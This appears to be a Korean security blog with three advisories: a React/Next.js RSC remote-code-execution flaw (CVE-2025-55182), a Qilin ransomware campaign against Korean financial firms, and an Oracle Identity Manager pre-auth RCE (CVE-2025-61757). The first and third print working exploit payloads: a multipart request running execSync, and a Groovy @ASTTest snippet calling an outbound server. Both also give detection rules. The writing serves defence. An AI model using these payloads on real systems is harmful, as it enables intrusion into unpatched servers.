꼰머의 보안공부

1. React 및 Next.js

- React : 메타에서 개발한 웹사이트 화면을 만드는 데 사용되는 자바스크립트 라이브러리
- Next.js : React를 기반으로 만든 웹 프레임워크

1.1 React Server Component (RSC)

- 서버 측에서 컴포넌트를 실행하여 미리 렌더링된 마크업을 생성후, 클라이언트에게 전달되어 사용자에게 콘텐츠를 보여주는 방식

2. 취약점

- RSC Flight 프로토콜 처리 과정에서 requireModule()의 부적절한 역직렬화로 인해 인증 없이 서버에서 원격 코드 실행이 가능한 취약점 (CVSS: 10.0) [2]

> 해당 함수에서 hasOwnProperty 같은 검증 없이 클라이언트가 요청한 name을 그대로 사용하여 취약점 발생

※ NIST에서 CVE-2025-66478은 CVE-2025-55182와 동일 취약점으로 중복 처리하여 정보 삭제

> 프레임워크는 기본적으로 RSC 구현을 내장하므로, 함수를 직접적으로 명시하지 않더라도 공격에 노출됨

> 현재 중국에서 해당 취약점을 활용한 공격 테스트가 시작된 정황이 포착 되었으며, 대상 서버에 페이로드 업로드 등 5가지 단계까지 완료한 상태로 확인

※ 대상 서버에 페이로드 업로드, RSC 직렬화 취약점 유발, 외부 DNSLog로 명령 실행 성공 여부 확인, 서버 측에서 child_process 실행 가능성 검증

> 39%의 클라우드 인스턴스가 취약하며, 국내의 경우 18만 9천 대 노출된 것으로 확인

- PoC [4][5][6]

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('open -a Calculator');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

- 대응방안

> 벤더사 제공 업데이트 적용  [8][9][10]

> 취약점 스캐너를 활용한 취약 여부 확인 및 탐지 정책 적용 [11][12]
> 로그 점검 (RSC 관련 엔드포인트에 대한 반복적인 요청 등)

3. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-55182
[2] https://www.aikido.dev/blog/react-nextjs-cve-2025-55182-rce
[3] https://en.fofa.info/result?qbase64=KGFwcD0iTkVYVC5qcyIgfHwgYXBwPSJSZWFjdC5qcyIpICYmIGNvdW50cnk9IktSIg%3D%3D
[4] https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
[5] https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478?tab=readme-ov-file#payload-that-can-see-command-execution-result-in-response-body-most-useful
[6] https://github.com/ejpir/CVE-2025-55182-research
[7] https://x.com/maple3142/status/1996687157789155647?s=20
[8] https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components#immediate-action-required
[9] https://nextjs.org/blog/CVE-2025-66478
[10] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71912&menuNo=205020
[11] https://github.com/assetnote/react2shell-scanner
[12] https://www.piolink.com/kr/service/Security-Analysis.php?vType=view&bbsCode=security&idx=178
[13] https://www.boannews.com/media/view.asp?idx=140766&page=1&kind=1
[14] https://www.dailysecu.com/news/articleView.html?idxno=203063
[15] https://www.dailysecu.com/news/articleView.html?idxno=203111

보안뉴스

보안뉴스

1. 개요

- Bitdefender, 한국 금융 서비스 업계를 주요 타깃으로 한 대규모 위협 “Korean Leaks 캠페인” 발표 [1]
- RaaS(Ransomware-as-a-Service) 그룹 Qilin과 북한 연계 APT 그룹 Moonstone Sleet이 협업
- MSP(Managed Service Provider, 관리 서비스 제공업체)를 초기 침입 경로로 활용해 33개의 기업이 피해(피해 업체 중 대부분이 금융서비스 업체)
- 이번 사건을 계기로 MSP를 ‘신뢰된 내부자’로 간주하는 관행을 재검토해야 한다고 강조

2. 주요내용

2.1 한국 내 비정상적인 랜섬웨어 급증

- 24.09 ~ 25.08 랜섬웨어 피해자 수는 월 평균 약 2건 수준이었으나, 25.09 피해자 건수는 25건으로 급증

> 초기 분석 결과, 25.09에 확인된 피해는 모두 Qilin 랜섬웨어에 의한 것으로 확인

※ 1건의 건설 회사를 제외한 24건 모두 금융서비스(특히 자산운용사)

2.2 Qilin & Moonstone Sleet

- Qilin 랜섬웨어 그룹은 최근 몇 달 동안 RaaS 통계에서 최상위권을 유지해온 조직
> 다크웹 전용 유출 사이트(DLS, Dedicated Leak Site)에 데이터 공개 및 데이터 몸값을 요구
> 주요 운영팀은 브랜드, 랜섬웨어 빌드, 인프라, 협상용 텍스트를 제공하고, 실제 침투·내부 장악·배포는 다른 조직이 수행하는 “긱 이코노미형 RaaS” 형태로 운영
> 수익의 80~85%는 실제 공격조직이 가져가고, 운영팀은 15~20%만 가져가는 구조

※ CIS(독립국가연합) 국가를 공격하지 않는 규칙, 러시아어 포럼 활동, 운영진 일부가 러시아어와 영어를 사용하는 등 러시아에 기반한 랜섬웨어 그룹으로 보임

- Qilin은 2025년 초 북한 연계 APT 그룹 Moonstone Sleet과 협업을 시작
> Moonstone Sleet는 MS가 2024년 규명한 북한 위협 그룹 [3]
> 국가 연계 APT 그룹과 범죄 RaaS의 협업이라는 새로운 위협 양상을 시사

2.3 Korean Leaks 캠페인

- Korean Leaks 캠페인은 총 세 차례에 걸쳐 진행되었으며, 유출된 정보의 대부분은 25.09 공개
> 총 33곳의 피해자 중 28곳은 현재 공개 상태이며, 거의 대부분 한국 금융사, 특히 자산운용사를 공격 대상으로 삼음
> DLS에 유출된 데이터는 최소 100만 개 이상의 파일과 약 2TB에 달하며, 피해자의 메타데이터가 누락된 점을 고려하면 피해 규모는 훨씬 클 가능성 존재

2.3.1 1차 유출

- 25.09.14 10개 금융관리·자산운용사 공개
> 한국 기업들의 방대한 데이터에 접근을 확보했다는 식으로 대규모 추가 유출 예고

2.3.2 2차 유출

- 25.09.17 ~ 25.09.19 추가 피해자 9곳 공개
> 한국 금융시장과 투자자 전반을 겁주는 전략 및 규제 당국에 조사 요구

2.3.3 3차 유출

- 25.09.28 ~ 25.10.04 마지막 9곳 공개
> 2차 유출의 공격적인 요구에서 개별 피해 기업을 향한 전통적인 금전 갈취 문구로 전환

2.3.4 기타

- 25.10.22 DLS에 금융·자산운용사 프로필을 가진 새로운 피해자 1TB 이상의 데이터 공개
> ‘Korean Leaks’라는 이름은 더 이상 사용되지 않았고 게시물도 하루 만에 삭제

2.4 Root Cause

- 캠페인은 기업들이 개별적으로 노려진 것이 아닌 하나의 공통 약점을 통해 피해가 발생

2.5 결론 및 권고 사항

- 해당 캠페인을 촉발한 MSP 침해는 사이버 보안 논의에서 거의 다뤄지지 않음
> 주로 SW공급망과 트로이화된 업데이트에 초점을 맞추는 경향이 있으나 이는 아직 통계적으로 드문 형태
> 여러 기업 접근 권한을 가진 벤더·계약업체·MSP를 직접 해킹하는 방식이 훨씬 흔하고 실용적인 전략

> 하나의 통제 수단이 실패하여도 후속 통제 수단이 피해를 감지·차단·제한할 수 있도록 다층적인 방어 체계 구축이 필요

3. 참고

[1] https://www.bitdefender.com/en-us/blog/businessinsights/korean-leaks-campaign-targets-south-korean-financial-services-qilin-ransomware
[2] https://www.dailysecu.com/news/articleView.html?idxno=202815
[3] https://thehackernews.com/2024/05/microsoft-uncovers-moonstone-sleet-new.html
[4] https://koreajoongangdaily.joins.com/news/2025-09-23/business/finance/More-than-20-management-companies-may-have-suffered-data-breaches-after-a-ransomware-attack/2406352

보안뉴스

1. Oracle Identity Manager (OIM)

- 사내 또는 클라우드 애플리케이션에 셀프 서비스, 규정 준수, 프로비저닝 및 비밀번호 관리 서비스를 제공하는 거버넌스 솔루션
- 고객, 비즈니스 파트너, 직원의 ID와 액세스 권한을 단일 플랫폼에서 모두 관리할 수 있음 [1]

2. 취약점

- REST API의 인증 우회 취약점으로 인해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8)

> 해당 시스템이 공격자에게 장악될 경우 관리자 권한 생성, 사용자 권한 탈취, 인증 절차 조작, 내부 시스템 접근 토큰 획득, AD·ERP 연계 시스템 침투 등 조직 중심부까지 침해 확산

> 오라클이 취약점을 패치하기 훨씬 전부터 취약점을 대상으로한 공격 시도가 존재하여 신속한 패치 적용 권고

영향받는 버전
- Oracle Identity Manager 12.2.1.4.0, 14.1.2.1.0

2.1 인증 우회

- 애플리케이션은 web.xml에 등록된 단일 SecurityFilter로 모든 REST 경로의 인증을 제어하도록 구성되어 있음 [3]

> URL에 WSLD 매개변수가 포함되어 있거나 .wadl 문자열이 포함된 경우 인증을 우회할 수 있음

  private static final Pattern WADL_PATTERN = Pattern.compile("\.[wW][aA][dD][lL](.)*\z");

    public void doFilter(ServletRequest request, ServletResponse response, final FilterChain chain) throws IOException, ServletException {
        LOGGER.entering(CLASSNAME, "doFilter", new Object[]{request, response, chain});
        final HttpServletRequest httpRequest = (HttpServletRequest)request;
        HttpServletResponse httpResponse = (HttpServletResponse)response;
        WsmHttpResponseWrapper httpResponseWrapped = new WsmHttpResponseWrapper((HttpServletResponse)response);
        if (httpRequest.getQueryString() != null
            && httpRequest.getQueryString().trim().equalsIgnoreCase("WSDL")
            || WADL_PATTERN.matcher(httpRequest.getRequestURI().trim()).find()) {
            chain.doFilter((ServletRequest)httpRequest, (ServletResponse)httpResponse);
        } else {
            // ... check auth ...
        }
    }

2.2 원격 코드 실행

- 엔드포인트 목록 중 groovyscriptstatus 엔드포인트는 Groovy 코드의 구문 검사를 수행함

> Groovy 스크립트를 컴파일하지만 실행하지 않는 엔드포인트

    @POST
    @Consumes(value={"application/json"})
    @Path(value="/applications/groovyscriptstatus")
    public Response compileScript(String script) throws Exception {
        ApplicationRestLogger.LOGGER.entering(ApplicationrestServiceController.class.getName(), "compileScript(String)", new Object[]{script});
        try {
            ApplicationrestServiceImpl.compileScript(script);
        }
        catch (Exception e) {
            ApplicationRestLogger.LOGGER.log(Level.SEVERE, null, e);
            return Response.status((int)500).entity((Object)e.getMessage()).type("text/plain").build();
        }
        ApplicationRestLogger.LOGGER.exiting(ApplicationrestServiceController.class.getName(), "compileScript(String)");
        return Response.status((Response.Status)Response.Status.OK).entity((Object)"Script Compilation Successful").type("text/plain").build();
    }

- Groovy는 Java를 기반으로 구축되었기 때문에, 자바의 애너테이션을 적용할 수 있음

> 따라서, @ASTTest 애너테이션을 사용하여 컴파일 단계에서 특정 Groovy 코드를 실행할 수 있음

※ Groovy AST Transformation은 컴파일 시점 실행 허용

import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase

class Demo {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
            def connection = new URL("https://our.outbound.server").openConnection()
            connection.setRequestMethod("GET")
            def response = connection.getInputStream().getText()
        } catch (Exception e) {}
    })
    static void main(String[] args) {}
}

Demo.main()

3. 대응방안

- 벤더사 제공 업데이트 적용 [4]

- POST 요청에서 *.wadl, @ASTTest 등의 문자열 탐지 정책 적용

4. 참고

[1] https://docs.oracle.com/cd/E52734_01/oim/OMADM/overview.htm#OMADM5632
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-61757
[3] https://slcyber.io/research-center/breaking-oracles-identity-manager-pre-auth-rce/
[4] https://www.oracle.com/security-alerts/cpuoct2025.html#AppendixFMW
[5] https://www.bleepingcomputer.com/news/security/cisa-warns-oracle-identity-manager-rce-flaw-is-being-actively-exploited/
[6] https://thehackernews.com/2025/11/cisa-warns-of-actively-exploited.html
[7] https://www.dailysecu.com/news/articleView.html?idxno=202697
[8] https://www.jeonguknews.co.kr/news/articleView.html?idxno=79996

보안뉴스

보안뉴스